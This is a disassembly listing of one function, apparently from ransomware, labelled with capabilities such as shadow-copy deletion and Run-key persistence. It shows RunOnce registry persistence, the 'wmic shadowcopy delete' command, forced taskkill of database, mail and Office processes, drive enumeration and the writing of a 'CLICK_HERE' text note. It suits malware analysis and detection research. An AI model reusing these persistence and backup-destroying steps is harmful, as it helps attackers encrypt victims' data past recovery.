Function at 0x4050d3
Capabilities:
Delete volume shadow copies
Get disk information
Hide graphical window
Persist via run registry key
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x25c]
sub esp, 0x25c
push 0xffffffffffffffff
push 0x44596c
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x45b014]
xor eax, ebp
mov dword [ebp + 0x258], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str..UTF_8
push ebx
call fcn.00425478
pop ecx
pop ecx
push 0x3a98
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x208
lea eax, [ebp + 0x50]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push ebx
lea eax, [ebp]
push eax
push ebx
push 2
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp + 0x50]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
lea eax, [ebp + 0x50]
push eax
push 1
push ebx
push str.DefenIfWIn
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.wmic.exe_shadowcopy_delete
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_aupis80.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_avgnt.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_sql.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_oracle.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_ocssd.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_dbsnmp.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_synctime.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_agntsvc.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_isqlplussvc.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_xfssvccon.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_mydesktopservice.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_ocautoupds.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_encsvc.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_tbirdconfig.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_mydesktopqos.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_ocomm.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_dbeng50.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_sqbcoreservice.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_excel.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_infopath.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_msaccess.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_mspub.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_onenote.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_outlook.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_powerpnt.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_steam.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_thebat.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_thunderbird.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_visio.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_winword.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_wordpad.exe
call fcn.00427048
mov dword [esp], str.taskkill__F__IM_notepad.exe
call fcn.00427048
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov esi, eax
xor edx, edx
mov ecx, ebx
inc edx
shl edx, cl
test esi, edx
je 0x40539d
lea eax, [ebx + 0x41]
mov word [ebp + 0x4d], 0x3a
lea edx, [ebp + 0x4c]
mov byte [ebp + 0x4c], al
mov ecx, 0x45cb08
call fcn.00408cd9
push eax
call fcn.00408e58
pop ecx
lea eax, [ebp + 0x4c]
push eax
lea ecx, [ebp + 0x1c]
call fcn.00406c69
and dword [ebp - 4], 0
lea ecx, [ebp + 0x1c]
cmp dword [ebp + 0x30], 0x10
mov eax, dword [ebp + 0x2c]
cmovae ecx, dword [ebp + 0x1c]
add eax, ecx
cmp dword [ebp + 0x30], 0x10
lea ecx, [ebp + 0x1c]
cmovae ecx, dword [ebp + 0x1c]
push ecx
push eax
push ecx
lea ecx, [ebp + 4]
call fcn.00408eee
lea ecx, [ebp + 4]
mov byte [ebp - 4], 1
call fcn.00404669
lea ecx, [ebp + 4]
call fcn.00407cb2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x1c]
call fcn.00407d7c
inc ebx
cmp ebx, 0x20
jl 0x40531c
sub esp, 0x18
xor ebx, ebx
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x45da14
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00407f6e
sub esp, 0x18
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x14], esp
mov esi, 0x45da78
push esi
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00407f6e
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x45da5c
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00407f6e
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push 0x45da44
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00407f6e
or dword [ebp - 4], 0xffffffff
call fcn.00403b4d
push esi
mov edx, str.C:_CLICK_HERE_
lea ecx, [ebp + 4]
call fcn.00408e8a
add esp, 0x64
push str..txt
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.00406bdb
push eax
lea ecx, [ebp + 0x34]
call fcn.00406c3b
lea ecx, [ebp + 4]
mov byte [ebp - 4], 7
call fcn.00407d7c
push dword [ebp + 0x44]
call fcn.00420e60
cmp dword [ebp + 0x48], 0x10
lea edx, [ebp + 0x34]
mov ecx, dword [ebp + 0x44]
mov esi, eax
cmovae edx, dword [ebp + 0x34]
lea eax, [ebp + 0x34]
add ecx, edx
cmp dword [ebp + 0x48], 0x10
cmovae eax, dword [ebp + 0x34]
sub ecx, eax
push ecx
push eax
push esi
call fcn.00422410
push esi
call fcn.00427048
add esp, 0x14
lea ecx, [ebp + 0x34]
call fcn.00407d7c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp + 0x258]
xor ecx, ebp
call fcn.004209c0
add ebp, 0x25c
leave
ret